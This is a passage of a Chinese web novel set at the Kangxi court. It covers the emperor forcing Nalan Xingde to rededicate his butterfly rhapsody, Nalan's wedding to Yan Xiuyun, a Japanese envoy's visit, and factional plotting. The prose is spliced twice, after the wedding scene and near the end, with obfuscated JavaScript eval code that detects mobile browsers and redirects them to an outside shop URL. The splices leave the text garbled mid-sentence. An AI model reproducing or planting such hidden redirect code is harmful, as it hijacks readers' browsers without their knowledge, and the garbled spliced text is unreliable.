“是,它在动。”纳兰点头,“动作细微,粘黏花粉。” 玄烨记起了纳兰的骈文新作,不禁在心中暗自赞叹: 那篇《五色蝴蝶赋》写的当真是好,以灵动之物比拟秀慧女子,字字珠玑,天下类似之文,没有可以媲美者。 同时,这位皇帝心中又带着那么几分对纳兰妒忌,不想对那篇佳作轻易罢休。 ——纳兰,朕连你的《雨霁赋》都能改成《雨过天晴赋》来为己所用,何况是你这篇立意更显著的《五色蝴蝶赋》? ——不管你是观蝶的佳公子,还是写蝶的大清第一才子,你的文字就不可以仅仅属于你自己,要为朕所用,为社稷所用。 “你听着——” 玄烨一碰牡丹花枝,惊走蝴蝶,摆出天威道: “朕要你把新作骈文稍作改动,然后进献给太皇太后。就说是朕的意思:让你写这篇《五色蝴蝶赋》来赞颂太皇太后,行文所表达的是:清初的满蒙联姻之好,布木布泰似聪慧大方、坚韧不拔的蝴蝶,为大清江山所做的贡献无与伦比。” 纳兰愕然,好一会儿,不知道康熙皇帝想干什么。 等到回过神来,才如实道:“这赋,是臣为将来要纳的颜氏女所写的。” 玄烨一脸蛮横,“如今朕就是要让你的大作,变成是为皇阿奶所写的!” 纳兰单手握拳,隐忍着:“皇上不是在逼臣听命,就是在夺臣所爱。” 看着纳兰不悦也不肯的神情,玄烨强调道:“朕是天子!” “天子就可以肆无忌惮和随心所欲吗?” “你敢再反对朕一次试试——” “臣就是要向皇上说清楚:纳兰性德要娶侍妾了,她叫颜袖云,《五色蝴蝶赋》是纳兰性德为她而写。” “你敢不遵旨,”玄烨施压道,“朕就让你成不了亲,看看明珠把请柬都发出去后,脸面还要不要了?” “玄烨,你不是个好皇上!” 捕捉到纳兰的气愤神情,玄烨心中畅快一笑。 “朕只是待你苛刻了点而已,朕宽厚以对天下。” * 管家匆匆到明珠夫妇房中,道:“老爷夫人,皇上要公子给太皇太后献赋,公子不肯,两人正僵着。” 明珠“刷——”地一声,腾坐而起。 “皇上什么时候来的?本官怎么不知道?” “皇上悄悄来的,顾总管不让小的声张。”管家复补充道,“皇上折歪了一枝公子的宝贝盆栽牡丹,还把公子近来爱看的五色蝶吓飞了,想必公子心中十分不快,这赋……老爷您要是不出面的话,皇上怕是拿不到了。” “老爷,咱们这是兼顾谁的心情好啊?”觉罗氏问,“儿子还是皇上?” “容若纳妾,还要太皇太后点个头呢。”明珠边整理衣服边外走,“当然是顾着太皇太后的心情为上。给太皇太后的赋,容若是写定了!” 觉罗氏在心中一叹,心疼自己的儿子。 “臣明珠参见皇上,皇上吉祥。” “明珠,你不会也跟纳兰一样,觉得朕只要是出现在你家,就是来夺他所爱的吧?” “臣不敢!” “朕要向太皇太后尽孝,叫你儿子把既成的《五色五蝴蝶赋》修改几句,好呈献给太皇太后,你儿子是百般不肯。” “容若。”明珠叫了一声,“纳妾之事,离不开老祖宗的恩典,你应该跟皇上一样,感恩老祖宗才是。” “皇上是故意,且对儿的《五色蝴蝶赋》强添新意,阿玛也任由皇上胡来吗?难不成《五色蝴蝶赋》传颂到了后世,就成了歌颂:孝庄文皇后为满蒙联姻做出大贡献的名篇了?” 说着,纳兰又目光灼灼地质问玄烨:“试问皇上,你纳过几个蒙古出身的妃子?” 玄烨差点一脚踢翻地上的盛艳牡丹,幸亏被顾总管拦住。 “朕少纳蒙古出身的妃子,还不是因为你……”【注1】 “此一时彼一时。若是噶尔丹效仿南疆王逼宫【注2】,或者要求朝廷册封他为东蒙古大汗,皇上要如何应对?如果以姻亲制衡——” “纳兰性德,你还敢狡辩!” “容若!”明珠黑沉着脸,一把将儿子拽到渌水亭的石桌边,“你给阿玛坐下!” 纳兰傲气仰头,“阿玛,您这是逼儿子对皇上就范?” “你是闭嘴、然后认认真真按照皇上的意思写赋?还是要阿玛当着皇上的面对你行家法?” “金叔,”纳兰朝管家一喊,“你去拿鞭子,我没有什么家法是挨不了的!阿玛尽管动手……” 【注1】纳兰指出,康熙皇帝少纳蒙古嫔妃,使得蒙古王大怒,见第34章。 【注2】南疆王逼宫和被镇压,分别见第84、86章。 99.第99章 眼看明珠真要当着皇上的面,往容若身上抽鞭子了,觉罗氏赶紧挡在儿子面前,请求道:“老爷,容若打不得啊!” 明珠咬牙切齿道:“本官今天要是不教训他,他就更加无法无天了,违抗圣令,连累的是纳兰一族人!” “额娘不必护着儿子。” 容若自己从觉罗氏身后走出,傲骨满满地看着明珠。 这时候,袖云走了过来,对明珠道:“袖云有几句话劝公子,请老爷恩准。” 明珠对容若“哼”了一声,在觉罗氏的推耸下站到了一边。 袖云在容若身侧,明事理道:“公子没必要因为袖云而跟皇上对着干。” 容若坚持道:“你是我即将要娶的第一个妻子,我不能委屈你,我文章更不可以不写你。这件事我绝不跟皇上妥协。” “请公子三思,不能因为袖云而自吃皮肉之苦。何况,天下人都明白:纳兰性德的才学和人品无可挑剔,是大清君侧的第一陪臣。朝廷需要公子,纳兰家需要公子,读书人们需要公子,公子不能甘愿受罚而不顾大局啊!” “大局,大清;大局,大清。”容若垂下眼帘,万般心痛,“好,我顾大局顾大清……也顾阿玛顾皇上。” “可是袖云,”容若与她执手,“谁来顾你我?” “能够嫁给公子,就是袖云一世修来的福分。”她温眸道,“日后,袖云还跟寻常一样,珍惜公子的每一篇文章、每一首诗词。” 容若问她:“那在后世,无人知道纳兰性德的《五色蝴蝶赋》的原文,是为你而写……你也不怨不怪吗?” “是,公子的文字和心意,早已深深埋入袖云心中了。所以袖云不怨不怪《五色蝴蝶赋》的新词句和新立意。” 袖云把毫笔递到容若手中,“请公子修赋。” 容若点头,对着纸张思索了一会儿,道: “斯蝴蝶,或黄如金衣公子,或缟若雪衣慧女;或烂漫若析支氍毹,或璀璨如大秦琉璃。这句话,我宁死不改。” “是。”袖云细心研墨,“公子照着自己的分寸来就好。” * 且不说康熙皇帝带着纳兰性德修改过后的《五色蝴蝶赋》尽兴而归,就说在瓜尔佳府邸,朴尔普是坐立难安。 云辞问:“阿玛,您这是在气什么?” 朴尔普失望道:“纳兰性德怎么能娶颜氏为侍妾?” 云辞理解道:“满人的习惯不都如此吗?娶正妻之前,都是要先纳妾的,叫做纳福纳子。等正妻入了门,侍妾的见礼也是规矩的一环。” “女儿啊,阿玛是替你惋惜啊!”朴尔普示意云辞坐到自己身边,“你说纳兰性德一生就娶一位官氏夫人云辞多好!” “额驸才是只娶一妻。”云辞惬意而笑,“女儿又不是皇家的公主,哪里能享受那种待遇?” “明府摆宴席的那一天,阿玛额娘和你,都要一起去。” “是,明府的请柬,阿玛给人家回过去了吗?” “回了,阿玛说的是:小女云辞依旧待字闺中,可与容若相结未来佳缘。” “女儿,无话可说。” “我朴尔普说话不爱拐弯抹角,明珠能把我的意思看明白就好。” 朴尔普正要找准时机跟云辞谈“纳兰贤婿的好”,就看见禹之鼎大大方方地走了进来,那样子,就像是早就跟云辞在府上见了面,顺便来“拜访默认的岳父”一般。 朴尔普吼问了一声:“干什么?” 禹之鼎行礼后,光明正大地表述心意道:“未来的岳父大人要是不嫌弃,请允许在下暂住府上。” “混账!”朴尔普走到那青年面前,“禹画师你身为汉人,却不知男女授受不亲之理,竟敢提出这么不要脸的请求来。” “在下要是能够把官舍的房间让出来给新入职的画师住,也算是成人之美。” “你怎么不叫新入职的画师跟你同住呢?岂非风雨同舟、施恩图报?” 朴尔普冷笑数声,环指了一圈客厅,“我瓜尔佳府邸占地面积大、房间多,但是我可没有对你点过一下头、让你扰了我家的规矩和清静。” 这时候,管家来报:“老爷,有人求见。” 朴尔普一甩辫子,回坐到位置上,“除了皇上和纳兰贤婿,本官谁也不见!” “老爷,是……是日本人。” “什么?” “日本人,不是来见老爷您,而是来见禹画师的,说咱们瓜尔佳府邸……就是禹画师留的住址。” “禹之鼎,你好大的胆子!”朴尔普差点从椅子上暴跳而起,“给我瓜尔佳府邸招惹来了东洋人不算,还敢得寸进尺、自称这是你家?” 云辞被朴尔普的反应给逗笑了,道: “阿玛,人家东洋人来都来了,您就不妨一见,也好看看禹画师是不是言出必行、真把画卖到东洋去了。” * 那东洋人进来之后,自我介绍道:“我得天皇陛下赐姓赐名:藤原贞吉【注1】。此番前来大清,一是觐见康熙皇帝,二是背负天皇陛下使命,购入宫廷画师禹之鼎真迹。” 朴尔普维护着□□的颜面道:“藤原先生,为何贵国天皇陛下看中了我朝画师禹之鼎的作品?我朝人才济济,《纳兰词》更是——” 藤原贞吉却是摇头道:“天皇陛下不读《纳兰词》,却是偏爱大唐诗人张志和与白居易诗作。要论大清诗人,天皇陛下得梁佩兰所写的《日本刀歌》一首,不怒反敬。” 朴尔普客气道:“藤原先生可否把梁佩兰的诗背给本官听一听?” 相传国王初铸时,金生火克合日期。 铸成魑魅魍魉伏,通国骷髅作人哭。 人头落地飞纸轻,水光在水铺欲平。 国王恃刀好战伐,把刀一指震一国。 红毛得刀来广州,大船经过海若愁。 “这遣词造句和行文通顺度,可比《纳兰诗》差远了!”朴尔普不以为然,“最差的一首《纳兰诗》,也比这首百姓之作强啊!” “我天皇陛下赞曰:佩兰诗名鼎立,不虚也,字字锋鋩逼人,骇胆栗魄。” “罢了。”朴尔普懒得跟那不懂欣赏的东洋人理论,“贵国陛下觉得好,那就是好。说回正事,这禹之鼎的画,可是配上我纳兰贤婿的题词题诗价值才飙升啊,藤原先生,你不知道吗?” “失敬失敬,贞吉竟不知纳兰是大人女婿。” “现在纳兰还不是,不过也快是了。”朴尔普得意一笑,“藤原先生是要向禹之鼎要什么画?” “人物肖像画。在我日本国,上至天皇公卿,下至足轻武士,无人不知禹之鼎名声。出自禹之鼎之手的人物画像,栩栩如生,神色如润,好似真人近在咫尺。” “可不是吗?”朴尔普终于为禹之鼎说了番好话,“禹画师给小女的洋装画像,乃是开了大清洋画人物的先例,他这人,就是在这方面擅长的很。” “另外,天皇陛下还想向禹画师求一幅《大海翻浪图》,以求两国友好,不起战事。” 朴尔普一琢磨,这不对呀,既然想要大清和日本睦邻友好,那天皇陛下就该求一幅《风平浪静望海图》才算是对上意思啊! 朴尔普也不挑破,只问:“藤原先生,你进宫见过皇上了吗?” “没有,大清国皇上不容易见,所以贞吉打算在‘花鸟风月楼’住下,等到皇上同意觐见的口谕之后,再进宫面圣。” “哎呀——贞吉先生何须住在外头呢?”朴尔普狡诈一笑,“禹画师把本官这里当成是自己的家,已经住下了。贞吉先生你也留下来,就跟他相邻房间而住,同做宾客如何?” “贞吉恭敬不如从命。” “好!那这事就这么定了。”朴尔普叫来管家,“吩咐下去,收拾出两间客房来,一间给禹画师画《大海图》,另一间给东洋使者暂住。” * 纳兰性德迎娶颜氏的那一天,明府热闹非凡。 纳兰按照额娘和嬷嬷教的规矩,从穿吉服到记着礼数,再从熟悉婚活到练习话术,最后从心事少年到人生新阶,所有的转变和蜕变,他都一丝不苟。 满人有给长辈敬烟和敬茶的习惯,这里面顺序不能错,人脸也不能认错,纳兰也都牢记在心。 满人还有射三箭的习俗,“弓”在满语里有“中姻缘”和“去煞神”之意,所以纳兰已经挑好了长弓、选好了羽箭,到了流程之时,就会在众宾客面前三发连中。 房间里,觉罗氏拉着儿子的手坐着。 “容若,有了这第一次的成亲经验,下一回给你娶正室的时候,你就熟悉多了。但是娶正室的流程,也是有不同的,额娘到时候再跟你细说。” “额娘,儿五更就起来了,不困不累,只是带着对人生喜事的期待,想着好好礼敬长辈、接见宾客和爱待袖云。额娘放心,儿不会在这样重要的日子里出错。” “你是不是尚存担虑:自己要是出错,怎么向天下人交待?”觉罗氏笑道,“总归是不必给自己压力,你只需记着:规矩礼数都是能变的,纳兰公子做的完美是应当,做的有微疵,那错点儿也能自己掩盖过去。别人议论不出什么‘不对’来。” “嗯。额娘教导的是。” 觉罗氏打量着儿子,满意道:“额娘看你今日气色极好,状态极佳;颜氏也是稳重大方,聪慧通透,衬得起你。看来这日子挑的不错。” “额娘看过袖云的红妆模样了?有多美?” 觉罗氏用手绢掩嘴,笑道:“美到你要专门写一首词出来赞许她,可别心急呀!洞房花烛夜和次日之后、三天的同房规矩,夫妻都是在一块不分开的。” “嗯。”纳兰低头微笑。 管家前来,说是公子该去客厅会见宾客了。 纳兰用最好的状态往外走,明府占地面积大,从里到外需要一段时间。母子俩走的不快不慢,都是能够感受已经在客厅的主座上坐下的明珠的心情。 “皇上十二岁就大婚了,那时候直到进入洞房为止,他都没跟赫舍里皇后见过面,好在是彼此感情逐渐深厚。这次皇上没叫人来‘盯着’儿的婚宴,儿倒有种谢天谢地的感觉。” “你阿玛也是这么说。你写的《五色蝴蝶赋》的事情都过去了,就别想了,知道吗?” “是,儿今日好好当新郎,别的都不想。” * 来到客厅,觉罗氏坐上了明珠隔壁的夫人之座。 纳兰当着众人的面,向阿玛和额娘行拜堂之前的大礼。 “成德谢阿玛和额娘的养育之恩,今日纳妾成家,愿与颜氏一同向阿玛额娘尽孝。” 明珠和觉罗氏同时道:“快起来吧!” 嬷嬷牵着颜氏入厅,步步引颜氏到纳兰公子面前,夫妻相对。 礼官高声喊:“一拜天地,一叩首,天成佳偶;二叩首,地结连理;三叩首,天长地久。二拜高堂,一叩首,谢寸草春晖;二叩首,谢不倦栽培;三叩首,膝下尽孝。夫妻对拜,一对拜,一生珍惜;二对拜,两相卿卿;三对拜,永结同心。” 纳兰和颜氏在三步礼数中完成了连理之好,正式成为夫妻。 众宾客皆是夸赞,纳兰性德所娶的侍妾,必定是个明珠和觉罗氏都信得过的身边人。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14132547|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这样的女子才貌要好、心思也要跟纳兰性德一样细腻才行,关键是:她要事无巨细地把纳兰公子的日常照顾好。这可不是谁都能做到的。 颜氏随着嬷嬷离开客厅回洞房后,纳兰开始了长达半日的待客之席。 明珠夫妇对儿子的表现相当满意—— 为什么容若万事都能做到尽善尽美?他俩可说不上来。 为什么容若就跟个完人似的成了婚?他俩更是不得解。 日后容若也是个有家室有妻儿的人了,明珠夫妇感极而泣。 纳兰不知道的是,明珠为了避免事后皇上过问或是找出什么茬儿来,在宴席渐散之时,就派了人去给顾总管传话。 明珠让心腹叮嘱顾总管: 一旦皇上问了话,务必要好好说,容若的新婚生活才刚刚开始,一切都要顺顺利利才好。 * 洞房之中,容若用象征“称心如意”的好寓意的称杆揭开了颜氏的盖头,然后用手轻抚新娘的发丝和珠钗,象征“白头偕老”与“和谐美满”。 “公子。”袖云软语娇侬,粉面桃花,姿丽动人。 “袖云,今夜月色好,秋花开的也好,但你人比花美。” 容若递给她一只玉杯,与她环手共饮交杯酒。 放下玉杯,二人同时来到桌边,分别拿起一只“馅儿是生”的纯素酥点来吃。 容若笑道:“额娘的用意好,吃过这个,袖云你这‘一生’就归我了,子嗣也是‘生的’。” “袖云嫁给公子,成为公子的第一个女人,公子心里踏实吗?” “踏实。我相信袖云你是愿意与我彼此相爱、彼此真心相待的女子。我们之间没有家族利益、没有家国仇恨、没有世俗目光、没有皇上或是太皇太后指婚之累,是最好的夫妻情分。” 两人携手来到书桌前。 烛灯明亮,映照着徐徐展开的名画《步辇图》;粉香墨逸,氤氲着紧紧相靠的两颗心;双双谐好,书写着恩恩爱爱的来日方长。 容若从抽屉里取出自己的几方印章,道:“文人墨客都爱藏画,尤其以得到前朝大家的名作为荣。但是我纳兰性德,以跟颜氏夫人一起盖章为兴致。” 说罢,容若把刻有“楞伽真赏”四字的印章放进袖云手中,与她执手,蘸印泥、盖藏章。 这是容若心中的美好新婚之夜的一个规划,他想借此来实现未来的琴瑟和鸣: 一方醉心文墨,另一方识鉴共鸣;一方得了真迹而喜悦,另一方亦是个可聊知音;一方留痕字画与前朝名人共诣三趣,另一方存真去伪抽丝剥茧认可一番“并驾齐驱”的心志。 袖云是玲珑剔透的女子,她自然是明白公子的用意。 公子想要的,一份动静并存的生活:在明府过平静安然的日子,在战场当个英勇杀敌之人;文能够成千古文章和流芳名声,武能够不输将军和展尽本领;静若康熙皇帝身侧的冷静谋臣,动若天下不可缺的行效忠臣。 她能够给予公子的,不仅仅是一份真情和一份真实的成家感,更是一种“不离不弃”的相依感。 她晓得: 公子心弦脆弱,可以包容一切,根源就在于害怕失去。对公子而言,明珠夫妇的期望与疼爱、康熙皇帝的知己感和情绪化、文人朋友的信任和相交,都是很珍贵的东西。 公子不敢犯错、对谁人都很好,原因是怕被看出瑕疵。十九年来坠世间,文曲芙蓉,明镜青玄,像是一个被定型了的人儿,却又小心翼翼地露出锋芒,但求有相惜、有相知。 此时,有嬷嬷敲门进来。 “请公子和侧夫人喜礼。奴才按照公子吩咐,前来送木瓜银耳燕窝羹。” “端进来吧!”嬷嬷朝门外叫了一声。 两名小丫鬟便捧着夜点的甜汤和一盘红枣进来,有礼地放在桌面上。 “请公子和侧夫人慢用,若是还需要别的,尽管遣了人过来跟奴才说,奴才都去仔细备着。” “多谢嬷嬷。” 容若和袖云一并给了嬷嬷和两名小丫鬟礼钱。 “公子有心,待袖云真好……袖云感动不已。” 袖云看着碗中的木瓜,知道在《诗经》之中,这就是男女之间的“定情信物”。 女子赠送男子木瓜,就表示自己愿意对男子:以身相许。反之,男子邀女子同食木瓜,则是向心爱之人表达“永以为好”之意。 “投我以木瓜,报之以琼琚。” 容若几乎是跟袖云同时说出了这句话。 两人相视而笑,又几乎同节奏地取下了腰间的玉佩,作为交换。 木瓜银耳燕窝羹甜在心里,明亮皎洁两相环扣的玉佩映着明眸,就是最好的男女新婚夜。 盈盈美人笑,晏晏公子情。 栩栩秋风过,依依一双人。 就是最幸福的新婚燕尔。 “我与袖云,此生不相离、不相弃。” “袖云与公子,永结同心,生死相依。” “不,袖云。任何时候、任何事你都可以依赖我,唯独生死之事不可以。你要好好活着,活得比我久,看着我们的孩子成长、看着明珠府邸的岁月春秋。” “袖云答应公子,守护公子、守护孩子、守护纳兰家。” 香罗帐暖,情温意浓。 容若和侧夫人颜氏同床而寝,他带着微笑,看着属于自己的女子,道:“靠近我一些,今日累不累?” 袖云心中怦怦跳,脉脉含情道:“此刻,袖云……与公子一样。” 【注1】藤原贞吉:日本使者,康熙年间来大清购买宫廷画师禹之鼎的画作。 100.第100章 却说孝庄太皇太后得到纳兰性德的《五色蝴蝶赋》后,心情分外喜悦。 苏麻喇姑道:“皇上定是有所反省,知道自己先前因为皇后的事情,惹了老祖宗您生气,才叫纳兰公子写了这篇文章来献给老祖宗呢。” “我年纪轻轻就嫁给了皇太极,跟着姑姑一起,背负着蒙古全族的荣耀和存亡,伺候着一个自己不是全心全意喜欢的男人。后来,皇太极对我的姐姐海兰珠爱的死心塌地,都是因为姐姐不懂心计、不懂政治、一心一意只求皇太极对她好,我就寂寞了那么一些年。” 孝庄摇了摇头,把饲料喂进了鱼缸里,继续道: “后来啊,海兰珠因为儿子夭折伤心过度、身子越发不好,征战在外的皇太极竟然不顾军情和军机,偷偷跑回宫来探望她和陪伴她……我不嫉妒海兰珠独宠后宫,但是我气皇太极为了一个女人、连江山都不顾。” 苏麻喇姑仿佛置身过去,“老祖宗,好在是那时候有睿王爷把持着局势,不然可是会耽误大事的。” “可不是吗?”孝庄用护甲拨了拨鱼缸边的秋花,“皇太极一走,军心要不是多尔衮镇着,早就乱了。” “老祖宗,您就像这篇章里的五色蝶一样,飞过了沧海、熬过寒冬,最终通往仙宫、化作神女,留名后世。” 孝庄笑着往外走,“我作为一个蒙古女子,性子倔犟啊!苏嬷嬷,你数数看,我都经历过哪些‘化蝶逆袭’的事?” “那可就多了。”苏麻喇姑盘点着,“像是:与睿王爷一同稳固大清基业、劝降洪承畴、栽培皇孙玄烨……老祖宗您呐,身体还硬朗着呢,大清少不了您。” “能通过纳兰性德的《五色蝴蝶赋》留名后世,是我之幸。”孝庄有条不紊地走着,“现在咱们去书房看看皇上,还有纳兰那孩子。” “老祖宗,纳兰公子成了亲,您还管他叫孩子?” “纳兰就是值得我疼惜的孩子,他自己也纯粹,心中留着浪漫和质朴,没有沾染烟尘气。” * 书房中,玄烨翻阅着《渌水亭诗序》。 “芙蓉映碧叶田田,秔稻动香风冉冉。”玄烨念出了其中两句话来,“纳兰你写的真是不错,用来赞颂朕的政绩也无妨。” 纳兰就跟学聪明了似的,平静道:“臣想明白了,大清天子伟业显著,四海升平之貌指日可见。” “纳兰公子,你说这话万岁爷可就爱听了。”顾问行笑道,“万岁爷近来日日勤政,广开言路,问策大臣,向上的很呢。” “噶尔丹派使臣前来,说要向朕进贡马匹和牛羊,朕一眼看穿,他们就是想从朕手里拿到封王的诏书,好征服北蒙古甚至是大清的半壁江山,所以朕没准。” 玄烨走到纳兰面前,“也许就像是你说的,朕该纳几个蒙古的妃子,即便是大清和噶尔丹日后免不了一战,那朕也是留下过姻亲之好的明君。” “缓不济急。”纳兰应道,“秀女大选之日未到,皇上真有这样的想法,理应跟太皇太后商量,询问是否这可向噶尔丹部族行‘直纳’之事。” “朕‘直纳’噶尔丹部族的女子,不离经叛道,不违悖祖制,皇阿奶没有理由不同意。” “是,皇上后宫百花齐放,是好事。皇上对那些蒙古部族的女子可以不宠幸,但不能流露出‘利益左右’之态。” 玄烨没好气道:“赫舍里皇后要是能把那些蒙古嫔妃管好,还需要朕伪装吗?” “皇上怎么就能下定论:皇后娘娘管不好未来要入主后宫的蒙古嫔妃?” “这明显不一样!”玄烨强调,“噶尔丹部族的女子,她们不是大清的战利品,而是朕‘暂时求和’的必需品。” “唔,那就有劳皇上和皇后娘娘共同应对。” 玄烨回到御案前坐下,拿出一份来自异国的书件来,叫顾问行拿给纳兰看。 那份书件里,日本天皇陛下除了表明想要购入禹之鼎的画作之外,还额外提及了商贸往来之意,大抵是:想以日本国的漆器、刀具和木梳子,来换取大清的书典、布匹和工艺品等东西。 “朕能说什么?自己在二十岁这一年,不但要面对噶尔丹的要挟,更要跟东洋人做谈判?民间商贾能够讨价还价做买卖,朕却是要一边顾及国威、一边斟酌利弊,免得没有处理得当,叫东洋人趁虚而入,败坏了沿海一带的民生和我大清的国计。” “皇上是得把天皇陛下的请求仔细考虑,毕竟大清还有台岛难题悬而未决,不能叫东洋之例,长了台岛之众疏离大清、贡物索物、自成一体的错念。” “照你看,天皇的书件朕要怎么处理?” “第一步,叫禹画师按时作画和交画,画的价值要皇上您亲自来定,才能将大国之威握在手中;第二步,交易之风可以开,但不能放任,要制定规章出来,做到两国之间的商贸往来有据可依;第三步,东洋进献之物,可做下发全国个寺庙之用,一来表示皇上仁政爱民,二来表示大清举国上下共见东洋臣意。第四步,皇上应该明确回应使者藤原贞吉,两国之间交好为上、制衡为中、争霸为下。” 玄烨沉默了好一阵子。 当下局面不是内忧外患,而是突发事件太多。 贯穿至今的三藩未平,北蒙古和东洋人又一块赶上了这趟热闹,再有雄心壮志的帝王,也难以一碗水端平啊! 秋风起,体感凉,人心也凉。 交涉来,事纷繁,君策也难。 “纳兰,朕喜欢跟你聊政事。” “皇上能给臣议政的特权,臣就愿意把自己的见解都毫无保留地说出来。” “你比那些铁帽子亲王享受的特权要多得多,朕就差给你一块免死铁券了。” “接下来,皇上打算怎么做?” “废话!下诏‘直纳’噶尔丹部族的女子为嫔妃,然后把该说的话、该表达的圣意,都在朝堂上当着众臣工的面,跟东洋使者藤原贞吉晓谕清楚!” “皇上有这样的觉悟,想必太皇太后得知后,也十分欣慰。” * 孝庄和苏麻喇姑走近书房的时候,正好听见玄烨和纳兰之间的这般对话—— “朕连续两个月未去瞧过惠嫔,你有什么话说?” “皇上的家事是内宫之事,皇上自己拿主意就是,不该由侧臣来置喙。” “你就不向朕为惠嫔讨一点雨露吗?” “一个‘讨’字,伤了纳兰家的颜面和惠嫔的自尊,臣不想做那样的人。” “赫舍里皇后已经没事了,现在朕的后宫井井有条,一切和好。朕打算下个月就封惠嫔为惠妃,给你们纳兰家光耀门面。” “谢皇上。” 纳兰终究还是把“惠嫔诞育皇长子有功,封妃本就应当”这句话吞回了肚子里。当惠嫔的功劳变成“皇上施舍给纳兰家的恩典”时,纳兰心中有些不是滋味。 皇上冷落惠嫔: 一来是惠嫔的劝谏惹了皇上生气,皇上觉得自己丢了颜面; 二来是惠嫔不主动向皇上示好求怜,也不像之前的赫舍里皇后那样,常带着小阿哥去见皇阿玛、讨皇阿玛欢心,以至于让皇上觉得:自己在惠嫔心目当中根本不重要。 这些,纳兰揣摩的明明白白。 孝庄笑着走近,道:“我做主,惠嫔封妃的事情,下个月无论如何都要行礼制。” “孙儿/臣纳兰性德给太皇太后请安,太皇太后吉祥。” “这书房啊,小有小的好。”孝庄坐到侧面的一张椅子上,“你们君臣之间也能够好好说话。不似养心殿,人少的时候就空落落的,湿气和寒气都重。所以皇上,秋冬之际,你要见纳兰,就选在书房里面的好。” “孙儿听皇阿奶的。”玄烨转向顾问行,“顾总管,回头你叫梁九功来书房伺候。” “奴才明白。” “纳兰,你那篇《五色蝴蝶赋》写的很是妥帖,我喜欢的很。” “谢老祖宗。” “你文字清丽,读起来也叫人心情明亮。怎么会有意趣观蝶?” 纳兰回话:“在读书编书、写词写诗之余,就是看水看花、对天对月,寻常于明府。蝴蝶愿意来,臣心里翩跹共感,自得欢悦。” 玄烨不留情面道:“你要是争气一些,这会就在翰林院供职了,还会整日自叹赋闲孤独吗?” 纳兰觉得自己没什么话好辩驳。 皇上嘴上爱怎么说就怎么说吧,反正一些缓解个人孤寂的方式,和一些从美好的物件、生物上获得的美感与伤怀,世上没几个人能懂。 自称很忙碌或是身边从来没有缺过朋友的人,谁能知晓那种—— 自己付出过后,也希望那种“付出”有朝一日能够回向自己的感觉? 自己微笑与人,只盼着同样被善待、被珍惜、被放在重要位置……就足够。 走出书房的时候,纳兰心中惦记起了自家花园里的地栽水仙花。 水仙花春季不争、夏季休眠、秋季蓄能、冬季绽放。 人生应类似,只是自己……自己这一生,真的存在四季吗? * 密室之中。 透过高处的一扇方窗,可以观月。 只是对索党的人而言,中秋月再如何圆也是缺的、再如何亮也是暗的。权力的天枰如今不是倾斜向索党,也不是倾斜向明党,而是被康熙皇帝牢牢拿捏在手中。 索额图冷讽道:“明珠是越发能演戏了,连府上的侍女颜氏,都能熬出名份来嫁给他的长公子纳兰性德了,嗯?” 李光地道:“索大人你要是不想落后,大可以为二公子格尔芬挑个更好的侍妾来杀了明珠的计策本子。” “纳兰性德娶了颜氏,天下称颂,说什么颜氏虽然侍女出身,但也隶属上三旗,才德兼备,平日里是一心扑在自家公子身上,能嘘寒问暖、也能谈词论诗。照本官看,那个颜氏自打被纳兰性德挑到身边的第一日起,‘侍女’的身份就是个幌子,日久生情、一朝结成夫妻,让天下人没有一句怨言才是真。” “要不怎么说索大人您是个明眼人呢?”辜鸿玳问,“之前不是有个底细不明的江南才女闹到了明府府外吗?那种女子可是一辈子都别指望能给纳兰性德做妾了。” “谁招惹谁还不知道呢。”索额图晃了晃腿,“这事有的是后续,纳兰性德没准能自己花银子把那个江南才女养起来,没事小两口就见一见面,到时候生米煮成熟饭,明珠不想给那个江南才女名份都不行。” 兴比察说起了正事:“索大人,皇上交给你的任务,于成龙他是收敛还是继续在闹?” “于成龙当然是在继续闹!”索额图单腿往地上一跺,“还扬言,为了老百姓的利益自己连命可以不要。简直是要翻天了,眼里没有本官和明珠,更没有康熙皇帝!” “那就让于成龙践行一方地域之好,不就行了?”李光地支招道,“就让他照着自己的方式去治理广西,反正天下那么大,他也不可能让天下父母官都推行廉政啊。” “要是于成龙的廉政起了成效,那大清国库的颜面还要不要了?”索额图用手指点了点桌面,“他火眼金睛判断出了银子的成色来不要紧,要紧的是牵一发而动全身,就怕是户部尚书也难以引咎。朝中的官员能倒下一片……” 李光地指出:“那也是明党的人倒的多。” 索额图生气且无奈:“正因如此,明珠父子才后怕,才找康熙皇帝去自保。康熙皇帝就把于成龙这个烫手山芋扔给了本官。” 辜鸿玳问:“那索大人,你为何不把这个烫手山芋给明珠父子扔回去啊?” 索额图冷道:“本官不是说过了吗?皇上把本官和明珠都拿捏在手里,让本官去解决火耗之款、让明珠去办张岱之案。” * 一日,慈宁宫。 孝庄同时叫了玄烨、裕亲王福全、纳兰来见。 纳兰先到,喝了苏麻喇姑亲自泡的热奶茶,吃了自己喜欢吃的慈宁宫点心。 他喜欢这样的温馨时光,就像是跟自己的亲奶奶在一起一般,可以坐近和敞开心扉说话。 孝庄道:“大清当下无论是汉人还是满人,都没有人写骈文,好在是孩子你的赋写的好,不管是放在个人情感上,还是放在赞颂朝廷上,都有极高的价值。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149317|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 纳兰挂着笑容,问老祖宗:“我学习写赋不过一二年,是不是真的写的好?是不是真的在绚丽词藻中表达出了大格局?” 孝庄说是,一篇好赋能让反复看、且在品读之后记忆下好词佳句,关键是能够体会写赋人的心境。 